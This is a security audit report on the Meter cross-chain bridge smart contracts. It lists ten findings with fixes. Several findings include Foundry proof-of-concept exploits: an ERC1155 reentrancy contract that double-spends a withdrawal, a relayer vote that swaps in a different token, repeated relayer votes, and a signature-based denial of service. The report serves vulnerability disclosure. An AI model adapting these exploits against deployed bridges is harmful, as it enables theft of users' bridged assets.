HAECHI AUDIT

Meter

Smart Contract Security Analysis

Published on : Oct 11, 2022

Version v1.2

HAECHI AUDIT

Smart Contract Audit Certificate

Meter

Security Report Published by HAECHI AUDIT

v1.2 Oct 11, 2022 - add final commit

v1.1 Sep 28, 2022 - final report

v1.0 Sep 16, 2022 - initial report

Auditor : Allen Roh

Executive Summary

Severity of Issues	Findings	Resolved	Unresolved	Acknowledged	Comment
Critical	3	3	-	-	-
Major	2	2	-	-	-
Minor	3	2	-	1	-
Tips	2	2	-	-	-

TABLE OF CONTENTS

10 Issues (3 Critical, 2 Major, 3 Minor, 2 Tips) Found

ABOUT US

HAECHI AUDIT believes in the power of cryptocurrency and the next paradigm it will bring. We have the vision to empower the next generation of finance. By providing security and trust in the blockchain industry, we dream of a world where everyone has easy access to blockchain technology.

HAECHI AUDIT is a flagship service of HAECHI LABS, the leader of the global blockchain industry. HAECHI AUDIT provides specialized and professional smart contract security auditing and development services.

We are a team of experts with years of experience in the blockchain field and have been trusted by 400+ project groups. Our notable partners include Sushiswap,1inch, Klaytn, Badger, etc.

HAECHI AUDIT is the only blockchain technology company selected for the Samsung Electronics Startup Incubation Program in recognition of our expertise. We have also received technology grants from the Ethereum Foundation and Ethereum Community Fund.

Inquiries: audit@haechi.io

Website: audit.haechi.io

INTRODUCTION

This report was prepared to audit the security of the Meter bridge and related contracts developed by the Meter team. HAECHI AUDIT conducted the audit focusing on whether the system created by the Meter team is soundly implemented and designed as specified in the published materials, in addition to the safety and security of the bridge.

In detail, we have focused on the following as requested by Meter -

- Upgradeable Contract Issues
- Signature Replay
- Relayers Logic
- Native Token Bridging

CRITICAL	Critical issues must be resolved as critical flaws that can harm a wide range of users.
MAJOR	Major issues require correction because they either have security problems or are implemented not as intended.
MINOR	Minor issues can potentially cause problems and therefore require correction.
TIPS	Tips issues can improve the code usability or efficiency when corrected.

HAECHI AUDIT recommends the Meter team to improve all issues discovered.

SUMMARY

Summary of Audit Scope

The codes used in this Audit can be found at GitHub

- https://github.com/meterio/chainbridge-solidity-v2.0.0-eth

The last commit used for this Audit is `1a02abfe86e7a87d1de61bb64328ff2382938ce0`

For the patch review, the last commit is `4ebdab2406ffedc807056c088869ffbdd4dffadb`

Summary of Findings

HAECHI LABS found 10 issues (3 critical, 2 major, 3 minor, 2 tips) to be fixed.

#ID	Title	Type	Severity	Difficulty
1	Using EnumerableSet Index may lead to undesired behavior	Logic Error	Minor	High
2	Various optimizations are possible	Optimization	Tips	N/A
3	ERC721Handler can be used to steal other's bridged NFTs	Input Validation	Critical	Low
4	Signatures.sol's incorrect usage of signatures may lead to DoS	Cryptography	Major	Medium
5	Signatures.sol's insufficient input validation may lead to DoS	Input Validation	Major	Medium
6	FeeHandler token check is missing	Input Validation	Minor	Low
7	ResourceID is not checked properly in proposal execution	Input Validation	Critical	Low
8	Minor documentation flaws exist	Documentation	Tips	N/A
9	Reentrancy in voteProposals() leads to double spending	Reentrancy	Critical	Low
10	Handler change for a resourceID leads to Signature Replay	Input Validation	Minor	High

OVERVIEW

Audit Scope

- BasicFeeHandler.sol
- FeeHandlerWithOracle.sol
- ERC20Handler.sol
- ERC20HandlerUpgradeable.sol
- ERC721Handler.sol
- ERC721HandlerUpgradeable.sol
- ERC1155Handler.sol
- ERC1155HandlerUpgradeable.sol
- GenericHandler.sol
- GenericHandlerUpgradeable.sol
- HandlerHelpers.sol
- HandlerHelpersUpgradeable.sol
- IBridge.sol
- IDepositExecute.sol
- IERCHandler.sol
- IERCMintBurn.sol
- IFeeHandler.sol
- IGenericHandler.sol
- IWETH.sol
- ERC1967Proxy.sol
- ERC1967Upgradeable.sol
- Proxy.sol
- TransparentUpgradeableProxy.sol
- AccessControl.sol
- AccessControlUpgradeable.sol
- Address.sol
- Pausable.sol
- PausableUpgradeable.sol
- SafeCast.sol
- SafeMath.sol
- StorageSlot.sol
- Bridge.sol
- BridgeUpgradeable.sol
- CentrifugeAsset.sol
- ERC20MinterBurnerPauser.sol

- ERC20Safe.sol
- ERC721MinterBurnerPauser.sol
- ERC721Safe.sol
- ERC1155Safe.sol
- Forwarder.sol
- Migrations.sol
- Signatures.sol
- SignaturesUpgradeable.sol

We note that ERC20MintablePauseableUpgradeable.sol is not a part of the audit scope, as it is a new contract that is added after the audit started. We also note that the resourceID removal function of Bridge.sol and BridgeUpgradeable.sol which was added in this commit is out of the audit scope, as it is a new feature that was added after the audit started and not a patch of the issues we have found initially. However, we did find a potential vulnerability that the commit may introduce while reviewing the code, and we share it in this audit report as METER-10 .

We also note that with the patch of METER-06, the two contracts BasicFeeHandler.sol and FeeHandlerWithOracle.sol are not used in the actual deployment.

Access Controls

Meter Bridge contracts have the following access control mechanisms.

- onlyAdmin()
- onlyBridge()
- onlyAdminOrRelayers()
- onlyRelayers()

The list of functions in this section only include functions from contracts that are not upgradeable. Upgradeable contracts use the same modifiers as their non-upgradeable counterparts.

`onlyAdmin()` is a modifier that checks that the caller is an admin. It's used to control the relayers configuration, token handler configuration, fund withdrawal, fee management, and others.

- Bridge#renounceAdmin()
- Bridge#adminPauseTransfers()
- Bridge#adminUnpauseTransfers()
- Bridge#adminChangeRelayerThreshold()
- Bridge#adminAddRelayer()
- Bridge#adminRemoveRelayer()
- Bridge#adminSetResource()
- Bridge#adminSetNativeResource()
- Bridge#adminSetGenericResource()
- Bridge#adminSetBurnable()
- Bridge#adminSetDepositNonce()
- Bridge#adminSetForwarder()
- Bridge#adminSetNative()
- Bridge#adminSetDomainId()
- Bridge#adminChangeFeeHandler()
- Bridge#adminChangeExpiry()
- Bridge#adminWithdraw()
- Bridge#adminWithdrawETH()
- Bridge#transferFunds()
- Signatures#adminChangeRelayerThreshold()
- Signatures#adminSetDestChainId()
- BasicFeeHandler#changeFee()
- BasicFeeHandler#transferFee()
- FeeHandlerWithOracle#setFeeOracle()
- FeeHandlerWithOracle#setFeeProperties()
- FeeHandlerWithOracle#transferFee()

`onlyBridge()` is a modifier that is used to check that the caller of the contract is the bridge. It is mostly used by the handler contracts, and the full list of functions is listed below.

- ERC20Handler#deposit()
- ERC20Handler#executeProposal()
- ERC20Handler#withdraw()
- ERC20Handler#withdrawETH()
- ERC721Handler#deposit()
- ERC721Handler#executeProposal()
- ERC721Handler#withdraw()
- ERC1155Handler#deposit()
- ERC1155Handler#executeProposal()
- ERC1155Handler#withdraw()
- GenericHandler#setResource()
- GenericHandler#deposit()
- GenericHandler#executeProposal()
- HandlerHelpers#setResource()
- HandlerHelpers#setBurnable()
- HandlerHelpers#setNative()
- BasicFeeHandler#collectFee()
- FeeHandlerWithOracle#collectFee()

`onlyAdminOrRelayer()` is a modifier that checks that the caller is either an admin or relayer.

- Bridge#cancelProposal()

`onlyRelayers()` is a modifier that is used to check that the caller of the contract is a relayer.

- Bridge#voteProposal()
- Bridge#executeProposal()

As the admins have a strong control over the system, **it is very important to secure the private keys of the addresses with admin powers**. It is also important to **take extreme care into the contract call parameters that are done with addresses with admin powers**.

System Overview

Meter Bridge is a bridge which is used to transfer various assets across different blockchains. It can transfer native tokens, and tokens in various token standards like ERC20, ERC721, ERC1155. The GenericHandler, which allows any function calls that the admin has allowed, makes it possible to do much more generic operations over blockchains, as its name suggests.

The system works as follows. If a user wants to transfer some tokens from chainA to chainB, it first deposits the token into the bridge contract of chainA. The contract will then lock the tokens in chainA, then emit an event which implies a deposit was created. The relayers, off-chain operators of the system, will listen to these events and either sign their approval of the messages or directly call the bridge contract of chainB to notify them that they agree with the proposal.

To execute each deposit proposal, a threshold number of signatures or approvals must be sent to the blockchain. This threshold, along with the relayer configuration, is controlled by the admin.

To gather the signatures more efficiently, a Signature contract is deployed on the relay chain. Most relayers will submit their signatures on the relay chain, and the final relayer will collect all the signatures and send them to the chains where the bridge process actually takes place.

The ERCHandlers and GenericHandler will handle the deposit requests and proposal execution requests. The bridge contract will receive these requests by users and relayers, and send them to the appropriate handler contracts. It should be noted that ERC20Handler also deals native tokens.

There is also a fee handler, which deals with the fee logic, fee collection, and fee transfers.
A fee oracle could be utilized to get the required information to calculate the fees as well.

To support contract upgrades, the Transparent Proxy Pattern is used. Our audit assumed that the system admin uses the Transparent Proxy Pattern with best practices in a safe manner.

Our audit covers the smart contracts that are used in the Meter Bridge system. Our audit does not cover the relayer network, and does not cover the fee oracle system if there is one.

FINDINGS

1. Using EnumerableSet Index may lead to undesired behavior

ID: METER-01
Type: Logic Error
File: handlers/Bridge(Upgradeable).sol

Severity: Minor
Difficulty: High

Impact

Upon relayers renouncing their role or admins removing relayer's roles, there may be undesired behavior such as one relayer voting multiple times or a relayer not being able to vote on a proposal. However, the attack either requires admin mistakes or has severely limited impact.

Description

To keep track of which relayers have voted on a certain proposal, a bitmask of 200 bits is used. Here, 200 is the maximum number of relayers. This is shown below.

```
// Limit relayers number because proposal can fit only so much votes
uint256 public constant MAX_RELAYERS = 200;
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/Bridge.sol#L28-29

To convert a relayer's address to a bit index, the index from the relayer role's access control mechanism is used. This is implemented with OpenZeppelin's EnumerableSet as shown below.

```
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;

struct RoleData {
    EnumerableSet.AddressSet members;
    bytes32 adminRole;
}
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/utils/AccessControl.sol#L48-54

To handle deletions in `O(1)`, EnumerableSet takes an approach that changes the index of the element with the highest index to the index of the element that is being deleted. This keeps the set of indexes that are inside the set to be between 0 and the size of the set.

While this is good for gas optimization, it may lead to undesirable consequences if we use it to keep track of the relayers and their votes. However, without admin intervention, it's not possible for a group of `N` malicious relayers to utilize this to get a voting power of `N+1` relayers.

We give some possible scenarios with proof of concept.

Proof of Concept

In the first scenario, there are 5 relayers A, B, C, D, E which are added to the relayer role's EnumerableSet in that order. The threshold for proposal execution is 3. The admin wants to remove D, C from the relayer set in that order. In this scenario, the following can happen.

- E, a malicious relayer, creates and votes on a malicious proposal
- admin removes D from the relayer group
- now E has a different index than before, so it can vote once again
- admin removes C from the relayer group
- now E has a different index than before, so it can vote once again, passing the proposal

Foundry was used to test this scenario. A, B, C, D, E have private keys 1, 2, 3, 4, 5 respectively.

```
function testIssue1Scenario1() public {
        TestERC20 token = TestERC20(deployNewERC20("TestToken", "TT",
1e20, address(ERC20Handler)));
        adminSetResource(address(ERC20Handler), bytes32(uint256(1)),
address(token));
        bytes memory data = abi.encodePacked(uint256(1e18), uint256(20),
address(0x2));

        address maliciousRelayer = vm.addr(5);
        voteProposal(maliciousRelayer, 2, 1, bytes32(uint256(1)), data);
        adminRemoveRelayer(vm.addr(4));
        voteProposal(maliciousRelayer, 2, 1, bytes32(uint256(1)), data);
        adminRemoveRelayer(vm.addr(3));
        voteProposal(maliciousRelayer, 2, 1, bytes32(uint256(1)), data);
        emit log_named_uint("final 0x2 balance",
token.balanceOf(address(0x2)));
    }
```

In the second scenario, C votes for a proposal then renounces its relayer role. Since E now has the same index as C and C have already voted, E cannot vote for that proposal anymore.

```
function testIssue1Scenario2() public {
        TestERC20 token = TestERC20(deployNewERC20("TestToken", "TT",
1e20, address(ERC20Handler)));
        adminSetResource(address(ERC20Handler), bytes32(uint256(1)),
address(token));
        bytes memory data = abi.encodePacked(uint256(1e18), uint256(20),
address(0x2));

        voteProposal(vm.addr(3), 2, 1, bytes32(uint256(1)), data);
        adminRemoveRelayer(vm.addr(3));
        voteProposal(vm.addr(5), 2, 1, bytes32(uint256(1)), data);
    }
```

Recommendation

There are many ways to fix this issue. Some of them are

- adding version controlling mechanism, where proposals before the relayer set change is deprecated and have to go through the voting process all over again
- simply pause the bridge while changing the relayer set
- remove the bitmask optimization and directly keep track of the relayers

2. Various optimizations are possible

ID: METER-02	Severity: Tips
Type: Optimization	Difficulty: N/A
File: N/A	

Impact

Various optimizations from removing unnecessary code and repeated computation are possible.

Description

In ERC1967Upgrade.sol, the `_upgradeToAndCallSecure()` function is never used, so it can be deleted. This function is specifically for use in the UUPS Proxy Pattern, which is not the case here.

In Signatures contracts, the `onlyRelayers()` modifier is never used, so it can be deleted.

In ERC20Safe.sol, the `_safeTransferETH()` function checks returndata length, which is not required. For example, the same functions from Uniswap or AAVE also don't include this check.

In the Bridge contract, the `voteProposals()` function repeatedly computes the structure hash and EIP712 hash of the proposal data, which is not necessary. The expiry check is done multiple times. Executing a proposal in the loop over signatures is useless, as it will revert afterwards due to the proposal status check. It should also return immediately if the proposal is canceled.

Recommendation

Optimize the contract by following the recommendations in the description.

3. ERC721Handler can be used to steal other's bridged NFTs

ID: METER-03	Severity: Critical
Type: Input Validation	Difficulty: Low
File: handlers/ERC721Handler(Upgradeable).sol	

Impact

Attackers can steal NFTs that are burnable if the owner has approved it to the ERC721Handler.

Description

If an owner of a burnable NFT approves the ERC721Handler address, then anyone can call the deposit function successfully. This is because the burnERC721 function doesn't take the depositor as an argument. With this, any attacker can successfully call deposit(), leading to a deposit event being emitted with the attacker as the sender. This effectively steals the targeted NFT.

```
// Check if the contract supports metadata, fetch it if it does
if (tokenAddress.supportsInterface(_INTERFACE_ERC721_METADATA)) {
    IERC721Metadata erc721 = IERC721Metadata(tokenAddress);
    metaData = bytes(erc721.tokenURI(tokenID));
}

if (_burnList[tokenAddress]) {
    burnERC721(tokenAddress, tokenID);
} else {
    lockERC721(tokenAddress, depositer, address(this), tokenID);
}
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/handlers/ERC721Handler.sol#L55-65

This issue was also found and patched in sygma's smart contracts, as found here.

Recommendation

Validate that the depositor owns the tokenID before burning the token.

4. Signatures.sol's incorrect usage of signatures may lead to DoS

ID: METER-04
Type: Cryptography
File: Signatures(Upgradeable).sol

Severity: Major
Difficulty: Medium

Impact

A relayer can send valid signatures for a proposal repeatedly, which may lead to DoS.

Description

To efficiently collect signatures, a Signature contract is deployed on the relay chain. Here, to determine whether a certain relayer has voted, the signature contract checks whether the signature that is submitted is used before. This is shown in the code below.

```
require(!hasVote[signature], "signature aleardy submit");
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/SignaturesUpgradeable.sol#L190

This is a problem, as a signature is not deterministic and there are multiple valid signatures under a single hash to sign and private key used to sign. Therefore, a malicious relayer could sign a proposal multiple times and emit the `SignaturePass` event. If a relayer listens to this event and carries the signatures to the actual bridge contract, the contract call will revert as the bridge contract has proper checks regarding multiple signatures from a single relayer.

While the relayers can still sign or approve on the bridge contract directly, depending on the relayer implementation this could lead to temporary Denial of Service.

Also, depending on the version of OpenZeppelin's ECDSAUpgradeable contract, the contract may be susceptible to signature malleability, due to CVE-2022-35961. In this case, any attacker, not a relayer, could add a new valid signature and cause the temporary Denial of Service.

It also should be noted that the variables `_HASHED_NAME` and `_HASHED_VERSION` should be declared as constant, as we are working with an upgradeable contract. In the current implementation, these two values are not initialized, so the domain separator will be different. This means that signatures that are valid on the relay chain will not be valid in the bridge contract.

Proof of Concept

Here, a relayer sends three valid and distinct signatures to the signature contract. The signature contract has the same relayer configuration as the bridge - a 3 out of 5 threshold system.

After the three signatures are sent, the signature contract emits `SignaturePass`, yet when an address sends these signatures to the bridge contract, it reverts with "relayer already voted".

```
contract Issue4 is Deploy {
    function testIssue4() public {
        TestERC20 token = TestERC20(deployNewERC20("TestToken", "TT",
1e20, address(ERC20Handler)));
        adminSetResource(address(ERC20Handler), bytes32(uint256(1)),
address(token));
        bytes memory data = abi.encodePacked(uint256(1e18), uint256(20),
address(0x2));

        bytes[] memory signatures = new bytes[](3); // externally
precomputed signatures
        signatures[0] =
hex"3d5bbda163081d0e2b0db8012aff987092cca55844ba1fc0f55c364fd6fa48322870
6c11a04c758412846591a18497fadecfa326c8faad6e587296fff74b960f1b";
        signatures[1] =
hex"dd6f4ea2c40e1b2402297c191a10e938901c05a2d5d1b054e01e4112fb2d8d141fb7
0ae4af63b3ee7649b1f1013e73193f174722becadc004fbd3f5223cdc6e81b";
        signatures[2] =
hex"ca5051ab561bda0273670d0b308c5f3d7c3bdce863ac96366b1ff592fb73e9973ac8
857260d2c9b4e844b39870e75cf5f1780fe70c96388e5a3b781834ebb06a1b";

        for(uint i = 0 ; i < 3 ; i++) {
            submitSignature(vm.addr(5), uint8(1), uint8(1),
address(bridge), uint64(1), bytes32(uint256(1)), data, signatures[i]);
        }

        voteProposals(address(0x4), uint8(1), uint64(1),
bytes32(uint256(1)), data, signatures);
    }
}
```

Recommendation

Do not use signatures to check whether a certain relayer has voted.

Declare `_HASHED_NAME` and `_HASHED_VERSION` as constants.

5. Signatures.sol's insufficient input validation may lead to DoS

ID: METER-05
Type: Input Validation
File: Signatures(Upgradeable).sol

Severity: Major
Difficulty: Medium

Impact

A relayer may send invalid signatures due to insufficient input validation. In some cases, two different requests may share the same signature array in the signature contract (i.e. have the same `depositHash`), which makes it impossible to handle one request. These may lead to DoS.

Description

To efficiently collect signatures, a Signature contract is deployed on the relay chain. Since EIP712 is used to hash structures correctly, the relay chain needs to know the addresses of the signature verifying contracts of each chain, which is just the bridge addresses. To compute the domain separator, the `submitSignature()` function also gets `destinationBridge` as an input.

```
function submitSignature(
        uint8 originDomainID,
        uint8 destinationDomainID,
        address destinationBridge,
        uint64 depositNonce,
        bytes32 resourceID,
        bytes calldata data,
        bytes calldata signature
    ) external {
        require(
            hasRole(
                RELAYER_ROLE,
                checkSignature(
                    originDomainID,
                    destinationDomainID,
                    destinationBridge,
                    depositNonce,
                    resourceID,
                    data,
                    signature
                )
            ),
            "invalid signature"
```

```
        );
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/SignaturesUpgradeable.sol#L166-187

The issue here is that the value of `destinationBridge` is never validated, so a malicious relayer can change this value, sign an incorrect hash, then make the signature contract emit `SignaturePass`. These signatures will not be verified on the bridge contract as it has the correct domain separator, so a DoS might be possible in the same nature as Issue METER-04.

To collect the signatures, the request is hashed into a `bytes32` then mapped into an array of signatures. This request hash, or `depositHash`, consists of the four values `originDomainID`, `depositNonce`, `resourceID`, and the keccak256 hash of the contract call `data`.

In the bridge, the deposit count values are managed for each `destinationDomainID`. This means that while the triple `(originDomainID, destinationDomainID, depositNonce)` is unique, the pair `(originDomainID, depositNonce)` might be repeated across various `destinationDomainID`. If such requests have the same `resourceID` and `data`, the two requests will have the same hash. The signature contract cannot handle these at the same time.

```
bytes32 depositHash = keccak256(
            abi.encode(
                originDomainID,
                depositNonce,
                resourceID,
                keccak256(data)
            )
        );
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/SignaturesUpgradeable.sol#L191-198

```
uint64 depositNonce = ++_depositCounts[destinationDomainID];
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/BridgeUpgradeable.sol#L537

Recommendation

Give the admin powers to set the bridge address for each `domainID`.

The bridge address set by the admin should be trusted, not the input from the relayers.

To compute the depositHash, include everything including the `destinationDomainID`.

6. FeeHandler token check is missing

ID: METER-06
Type: Input Validation
File: Bridge(Upgradeable).sol

Severity: Minor
Difficulty: Low

Impact

It is not possible to use FeeHandlerWithOracle to utilize non-native tokens for bridging fees.

Description

The admin can configure FeeHandler contracts to collect fees on bridge deposits.

```
if (address(_feeHandler) != address(0)) {
    // Reverts on failure
    (uint256 fee, ) = _feeHandler.calculateFee(
        sender,
        _domainID,
        destinationDomainID,
        resourceID,
        depositData,
        feeData
    );
    if (fee > 0) {
        _feeHandler.collectFee{value: fee}(
            sender,
            _domainID,
            destinationDomainID,
            resourceID,
            depositData,
            feeData
        );
        value -= fee;
    }
}
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/BridgeUpgradeable.sol#L509-530

The FeeHandler contracts implement `calculateFee()`, which returns the fee amount and the token address (which is zero for native token). The BasicFeeHandler only supports the native token, but FeeHandlerWithOracle allows any ERC20 token to be used as a payment for fee.

```
function calculateFee(
        address sender,
        uint8 fromDomainID,
        uint8 destinationDomainID,
        bytes32 resourceID,
        bytes calldata depositData,
        bytes calldata feeData
) external view returns (uint256 fee, address tokenAddress)
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/handlers/fee/FeeHandlerWithOracle.sol#L124-131

However, as we see in the bridge contract, there is no check on the `tokenAddress` that is returned. In fact, the bridge contract simply assumes that the fee is paid in the native token. The FeeHandlerWithOracle also reverts if the `msg.value` is nonzero while collecting the fee. Therefore, if FeeHandlerWithOracle is used, the deposit call will simply revert.

Recommendation

There are two methods to resolve this issue. Either

- add `tokenAddress` check in the bridge contract while sending fees
- remove the FeeHandlerWithOracle contract, and state that only BasicFeeHandler is used

7. ResourceID is not checked properly in proposal execution

ID: METER-07
Type: Input Validation
File: Bridge(Upgradeable).sol,

Severity: Critical
Difficulty: Low

Impact

Given a passed proposal, any token with the same ERCHandler can be withdrawn.

Description

The proposals and their votes are handled in the storage as follows.

```
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(domainID);
bytes32 dataHash = keccak256(abi.encodePacked(handler, data));
Proposal memory proposal = _proposals[nonceAndID][dataHash];
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/Bridge.sol#L577-580

We note that only `nonce`, `domainID`, handler address, execution data is used to identify the storage. Therefore, if there are more than one asset that is handled by a specific ERCHandler, there is nothing that stops switching between these assets.

For example, if ETH and WBTC are handled by the same ERC20Handler, then the passed proposal to withdraw 10 ETH can be used to withdraw 10 WBTC. If the current plan is to use a different ERCHandler for all assets (which is not likely) this is not an issue that is exploitable.

Proof of Concept

We have a relayer configuration of 3 out of 5 threshold. We'll have three relayers calling `voteProposal()`. There are two tokens, "token1" and "token2", which are handled by the same ERC20Handler. We'll assume that the first two relayers try to send "token1", but the malicious third relayer tries to send "token2". We'll see that the third relayer succeeds in withdrawing "token2". This vulnerability will also work with `voteProposals()` with an empty signature array. If we use `voteProposals()`, then the attack does not require relayer powers as well.

```
contract Issue7 is Deploy {
```

```
    function testIssue7() public {
        TestERC20 token1 = TestERC20(deployNewERC20("TestToken1", "TT1",
1e20, address(ERC20Handler)));
        TestERC20 token2 = TestERC20(deployNewERC20("TestToken2", "TT2",
1e20, address(ERC20Handler)));
        adminSetResource(address(ERC20Handler), bytes32(uint256(1)),
address(token1));
        adminSetResource(address(ERC20Handler), bytes32(uint256(2)),
address(token2));
        bytes memory data = abi.encodePacked(uint256(1e18), uint256(20),
address(0x2));

        voteProposal(vm.addr(3), 2, 1, bytes32(uint256(1)), data); //
token1
        voteProposal(vm.addr(4), 2, 1, bytes32(uint256(1)), data); //
token1
        voteProposal(vm.addr(5), 2, 1, bytes32(uint256(2)), data); //
token2!!!
        emit log_named_uint("final 0x2 token1 balance",
token1.balanceOf(address(0x2))); // 0
        emit log_named_uint("final 0x2 token2 balance",
token2.balanceOf(address(0x2))); // 10^18
    }
}
```

Recommendation

Use every information to specify the proposal data being used, including the `resourceID`.

8. Minor documentation flaws exist

ID: METER-08	Severity: Tips
Type: Documentation	Difficulty: N/A
File: N/A	

Impact

Minor documentation flaws which may confuse the user or developers exist.

Description

There are minor mistakes in the documentation. We list notable ones below.

- Most documentation fixes from the recent sygma audit are applicable here.
- The error name `InviladSignatures` in Bridge(Upgradeable).sol is a typo.
- The revert message "delegatecall to contractAddress failed" should be "call to contractAddress failed" in GenericHandler(Upgradeable)'s `executeProposal()`.
- Not a documentation flaw, but `chainId` in `adminSetDestChainId` should be uint256.
- The event name SignturePass should be "SignaturePass" in Signature contracts.
- BridgeUpgradeable's `getProposal()` function incorrectly states that the Proposal contains `noVotes`. It has `yesVotesTotal` instead. It also doesn't contain the data hash.
- In BridgeUpgradeable's `deposit()` function, the explanation of handler response for ERC1155Handler is missing. It's recommended to add this for completeness.

Recommendation

Fix all the issues mentioned above.

9. Reentrancy in voteProposals() leads to double spending

ID: METER-09
Type: Reentrancy
File: Bridge(Upgradeable).sol,

Severity: Critical
Difficulty: Low

Impact

A token can be withdrawn twice with a single proposal.

Description

The proposals and their votes are handled in the storage as follows.

```
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(domainID);
bytes32 dataHash = keccak256(abi.encodePacked(handler, data));
Proposal memory proposal = _proposals[nonceAndID][dataHash];
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/1a02abfe86e7a87d1de61bb64328ff2382938ce0/contracts/Bridge.sol#L577-580

The proposal is checked to be “passed”, and then marked as “executed” before the ERCHandler processes the withdrawal. However, the issue is that the proposal is loaded as memory, not storage. This means that the storage itself is never marked as “executed”, so a reentrancy is possible. A reentrancy attack requires a hook function, which ERC1155 does have.

Therefore, with this vulnerability, an ERC1155 double spending is possible with low difficulty.

Proof of Concept

Here, we aim to double spend a batch withdrawal of ERC1155.

```
import "../src/BridgeUpgradeable.sol";

contract Receiver {
    address public token;
    address public bridge;
    uint256 public stage = 0;
    bytes[] signatures;
```

```
    bytes data;

    function getBridge(address bridge_) public {
        bridge = bridge_;
    }

    function getSignatures(bytes[] memory dat) public {
        signatures = dat;
    }

    function getData(bytes memory dat) public {
        data = dat;
    }

    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata
    ) external returns (bytes4) {
        if(stage == 0) {
            stage += 1;

address(bridge).call(abi.encodeWithSelector(BridgeUpgradeable.votePropos
als.selector, uint8(1), uint64(1), bytes32(uint256(1)), data,
signatures));
        }
        return this.onERC1155BatchReceived.selector;
    }
}
```

```
contract Issue9 is Deploy {
    MockERC1155 public token;
    Receiver public attack;
    bytes32 public hashToSign;
    bytes public data;

    function testIssue4() public {
        token = new MockERC1155();
        {
            uint256[] memory mintIds = new uint256[](3);
            uint256[] memory mintAmounts = new uint256[](3);
            for(uint256 i = 0 ; i < 3 ; i++) {
```

```
                mintIds[i] = i;
                mintAmounts[i] = 1e18;
            }
            token.batchMintTo(address(ERC1155Handler), mintIds,
mintAmounts, bytes(""));
            adminSetResource(address(ERC1155Handler),
bytes32(uint256(1)), address(token));
        }

        attack = new Receiver();
        {
            uint256[] memory recvIds = new uint256[](3);
            uint256[] memory recvAmounts = new uint256[](3);
            for(uint256 i = 0 ; i < 3 ; i++) {
                recvIds[i] = i;
                recvAmounts[i] = 5e17;
            }
            bytes memory recipient = abi.encodePacked(address(attack));
            data = abi.encode(recvIds, recvAmounts, recipient,
bytes(""));
        }

        {
            (bool success, bytes memory hsh) =
address(bridge).call(abi.encodeWithSelector(BridgeUpgradeable.getHash.se
lector, uint8(1), uint64(1), bytes32(uint256(1)), data));
            hashToSign = bytesTobytes32(hsh);
        }

        bytes[] memory signatures = new bytes[](3);
        for(uint256 i = 0 ; i < 3 ; i++) {
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(i + 1,
hashToSign);
            signatures[i] = abi.encodePacked(r, s, v);
        }

        attack.getSignatures(signatures);
        attack.getData(data);
        attack.getBridge(address(bridge));

        voteProposals(address(this), uint8(1), uint64(1),
bytes32(uint256(1)), data, signatures);

        {
            address[] memory owner = new address[](3);
```

```
            for(uint256 i = 0 ; i < 3 ; i++) {
                owner[i] = address(attack);
            }
            uint256[] memory ids = new uint256[](3);
            for(uint256 i = 0 ; i < 3 ; i++) {
                ids[i] = i;
            }

            uint256[] memory balances = token.balanceOfBatch(owner,
ids);
            for(uint256 i = 0 ; i < 3 ; i++) {
                emit log_uint(balances[i]);
            }
        }
    }
}
```

Recommendation

Apply appropriate reentrancy guarding techniques.

10. Handler change for a resourceID leads to Signature Replay

ID: METER-10
Type: Input Validation
File: Bridge(Upgradeable).sol

Severity: Minor
Difficulty: High

Impact

If a token's handler address changes without changing its resourceID, any attacker may replay the signatures of past proposals on the same token, withdrawing tokens once again.

Description

This vulnerability is quite similar to the Issue METER-07.

The proposals and their votes are handled in the storage as follows.

```
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(domainID);
bytes32 dataHash = keccak256(abi.encodePacked(resourceID, handler,
data));
Proposal memory proposal = _proposals[nonceAndID][dataHash];
```

https://github.com/meterio/chainbridge-solidity-v2.0.0-eth/blob/main/contracts/BridgeUpgradeable.sol#L736-741

To determine the proposal array location, the `domainID`, `depositNonce`, `resourceID`, `handler`, `data` is used. However, the hash to be signed for the proposal only contains the `domainID`, `depositNonce`, `resourceID`, and `data` along with the EIP712 values such as the chainID and the bridge contract address. Therefore, if the handler address changes while the `resourceID` remains the same, the same signatures remain valid while the `dataHash` changes.

This means that the signatures may be used once again, to pass and execute the proposals again.

We note that this vulnerability requires admin's mistakes to be triggered. However, with the new function for the admin to remove resourceID's from handlers, we thought it would be possible for the admin to make a mistake of removing resourceID from one handler then adding the exact same resourceID for another handler contract, which would trigger this vulnerability.

Recommendation

The best way to fix this is to assert that the same `(domainID, depositNonce)` pair cannot be used twice. This is already guaranteed in the deposit calls, as it takes care of each destination domain ID and their nonces. Another method is for the admin to make sure that resourceIDs are handled appropriately, so that such attacks cannot happen. The team decided to do the latter. We stress that admin's function calls should be done with extra care, especially in the cases where there's not enough input validation done in functions with `onlyAdmin()` modifier.

Fix

Last Update: 2022.09.26.

